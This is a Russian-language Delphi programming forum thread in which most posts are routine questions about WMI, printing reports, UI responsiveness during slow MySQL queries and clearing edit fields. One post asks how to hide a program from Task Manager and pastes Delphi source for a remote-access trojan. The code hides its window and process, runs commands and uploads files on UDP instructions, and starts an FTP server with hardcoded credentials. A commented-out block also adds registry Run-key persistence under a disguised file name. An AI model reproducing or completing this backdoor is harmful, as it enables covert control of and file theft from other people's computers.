Member
Статус: Не в сети Регистрация: 22.07.2006 Откуда: МО, г. Мытищи
Daemon Lord_of_Darkness
Спасибо.
Почетал статьи про WMI, интересная технология оказалась ).
Установил WMITools, посматрел какие у меня классы есть, наиболее интересных для меня, таких как Fin32_Fan и Fin32_TemperatureProbe не оказалось ((.
Пойду рыца в дульфовых исходниках ).
Member
Статус: Не в сети Регистрация: 02.03.2003 Откуда: Pink Bird M.I.
Люди подскажите,как можно распечатать с dbGrid и Memo, ну или как вообще скомпоновать нормальную распечатку. Если использовать PaintTo, то разрешение получается корявое. Может быть есть какие-нибудь компоненты для распечатки простеньких таблиц?
_________________ Everything counts in large amounts.
Member
Статус: Не в сети Регистрация: 02.03.2005 Откуда: Владивосток
Люди подскажите как можно реализовать вот такую идею : Я в программе загружаю данные из MySql обычным запросом Select * from table_name. Данные грузяться с сервака, находящегося в инете(я во Владивостоке - сервер в Москве). Когда связь не очень - то данные могут грузиться минут 10-15. Я сделал форму, которую показываю до выполнения запроса и убираю после - ну типа "Подожите, идет загрузка данных". Форма поверх всех окон - все хорошо. Но вот если во время выполнения запроса попробовать ченить сделать - хотя бы изменить надпись на форме - фиг там. Пробовал и таймер устанавливать и поток отдельный запускать, который с интервалом выводит чтонить на форме(меняет свойство Caption у Label) - ни фига не работает.
Может кто знает как это можно еще сделать, кроме как сам запрос выполнять в потоке, просто программа уже написана и переписывать глобально нет времени ??? Добавлено спустя 2 минуты, 2 секунды
Kola писал(а):
Люди подскажите,как можно распечатать с dbGrid и Memo, ну или как вообще скомпоновать нормальную распечатку. Если использовать PaintTo, то разрешение получается корявое. Может быть есть какие-нибудь компоненты для распечатки простеньких таблиц?
Ну воспользуйся тем же самым QuickReport, который в составе Делфей идет - специально для отчетов создан. Или чтонибудь по мощнее - FastReport мона
Member
Статус: Не в сети Регистрация: 02.03.2005 Откуда: Владивосток
Sergey_H писал(а):
Aleksoid1978 Application.ProcessMessages() вставь. либо в функции запроса либо таймер запусти с этим.
Application.ProcessMessages - не проканывает. Во время выполнения запроса это не работает. Я пробовал ставить таймер и в нем вызывать Application.ProcessMessages - НЕПОЛУЧАЕТСЯ
ТовариСЧи, подскажите плиз, уменя на форме есть туева хуча эдитов, как их все очистить по нажатию кнопки?
или только Edit1.Text:='' ... и т.д(к примеру)?
procedure TForm1.Button1Click(Sender: TObject); var i: Integer; begin for i:= 0 to ComponentCount - 1 do if(Components[i] is TEdit) then (Components[i] as TEdit).Text:= ''; end;
Member
Статус: Не в сети Регистрация: 19.02.2006 Откуда: Владивосток
юзаю Delphi 7
прара вопросов:
-как реализовать скрытие проги из диспетчера задач?
обьясните для по000олного чайника
по всем пунктам
вот на такой код ругается:
Цитата:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
implementation
procedure TForm1.Button1Click(Sender: TObject); begin //Hide if not (csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID, 1); end; ;
может я что-то не догнал? и нужно ещё чегонить в код добавить??
и вот в этом коде ругается вроде на отсутствие NMUDP и не хочет компилиться по ходу нужно его подключить =) подскажите как
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';{Ф-ция, убирающая текущий процесс из списка менеджера задач}
implementation
{$R *.DFM}
procedure TForm1.sendTimer(Sender: TObject);{процедура отправки сообщений} var MyStream: TMemoryStream; Begin send.Enabled:=false; NMUDP1.ReportLevel := Status_Basic; NMUDP1.RemoteHost :=ip; MyStream := TMemoryStream.Create; try MyStream.Write(Txt[1], Length(Txt)); NMUDP1.SendStream(MyStream); finally MyStream.Free; end; end; procedure TForm1.NMUDP1DataReceived(Sender: TComponent;{процедура приёма сообщений} NumberBytes: Integer; FromIP: String; Port: Integer); var MyStream: TMemoryStream; mystrea:tfilestream; Str: String; begin MyStream := TMemoryStream.Create; try NMUDP1.ReadStream(MyStream); SetLength(Str,NumberBytes); {===обработка и выполнение команд сервера===} MyStream.Read(Str[1],NumberBytes); ip:=fromip; if str='end'then halt; if str='connect'then begin txt:='connect';send.enabled:=true;end; if copy(str,1,3)='mes'then messagedlg(copy(str,4,length(str)-3),mtinformation,[mbok],0); if str='monitor on'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); if str='monitor off'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); if str='ftp-on'then ftpserver.start; if str='ftp-off'then ftpserver.stop; if copy(str,1,3)='lau'then winexec(pchar(copy(str,4,length(str)-3)),1); if (copy(str,1,3)='get')and(fileexists(copy(str,4,length(str)-3)))then begin nmstrm1:=tnmstrm.create(self); mystrea:=tfilestream.create(copy(str,4,length(str)-3),fmopenread); nmstrm1.host:=ip; nmstrm1.PostIt(mystrea); mystrea.Free; nmstrm1.free; end; finally MyStream.Free; end; end; procedure TForm1.FormCreate(Sender: TObject);{процедура запуска} var s:string; f:textfile; fl:boolean; r:tregistry; begin ftpserver.Start; {if fileexists('c:\msdos.sys')then begin assignfile(f,'c:\msdos.sys'); reset(f); fl:=false; repeat readln(f,s); if (copy(s,1,7)='WinDir=')or(copy(s,1,7)='windir=')or(copy(s,1,7)='Windir=')then begin sd:=copy(s,8,length(s)-7);fl:=true;end; until eof(f); if fl=false then sd:='c:\windows'; end else sd:='c:\windows'; r:=tregistry.create; r.rootkey:=HKEY_LOCAL_MACHINE; try if r.openkey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false)then begin if r.valueexists('patch')=false then begin r.writestring('patch',sd+'\system\patch.exe'); copyfile('patch.exe',pchar(sd+'\system\patch.exe'),true); end; r.closekey; end; finally r.free; end; }end;
procedure TForm1.stelthTimer(Sender: TObject);{процедура маскировки} begin stelth.enabled:=false; form1.hide; {прячем форму} if not (csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID, 1);{исчезаем из ctrl+alt+del}
end;
procedure TForm1.FtpServerAuthenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); begin if (username='klient')and(password='www')then authenticated:=true else authenticated:=false; end;
Member
Статус: Не в сети Регистрация: 02.03.2005 Откуда: Владивосток
Sergey_H писал(а):
Aleksoid1978 писал(а):
Я пробовал ставить таймер и в нем вызывать Application.ProcessMessages - НЕПОЛУЧАЕТСЯ
а таймер работает хоть во время запроса... просто этот метод явно указывает что нужно обработать все накопившиеся запросы от пользователя...
Так вот эти запросы от пользователя и не обрабатываются - я не могу перерисовать форму ну или поменять надпись на кнопке, пока не закончится выполнение запроса.
Я вижу только один выход - сам запрос выпонять в потоке - так проверил все четко, но уже не буду прогу переписывать
Ассы програмирования, помогите написать прогу: интерполяция функции методом наименьших квадратов которая задаеться таблично. Ответ тоже записываеться в таблицу!:insane:
Очень надо. Зарание спасибо!!:weep:
Сказать по правде я и не знаю как там, но в задаче сказанно что задданы знаения х и y и найти с помощью ленейной и квадратичной интерполяции значение функции в каких либо х. Я в этом не разбераюсь поэтому может ты и прав!
Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 2
Вы не можете начинать темы Вы не можете отвечать на сообщения Вы не можете редактировать свои сообщения Вы не можете удалять свои сообщения Вы не можете добавлять вложения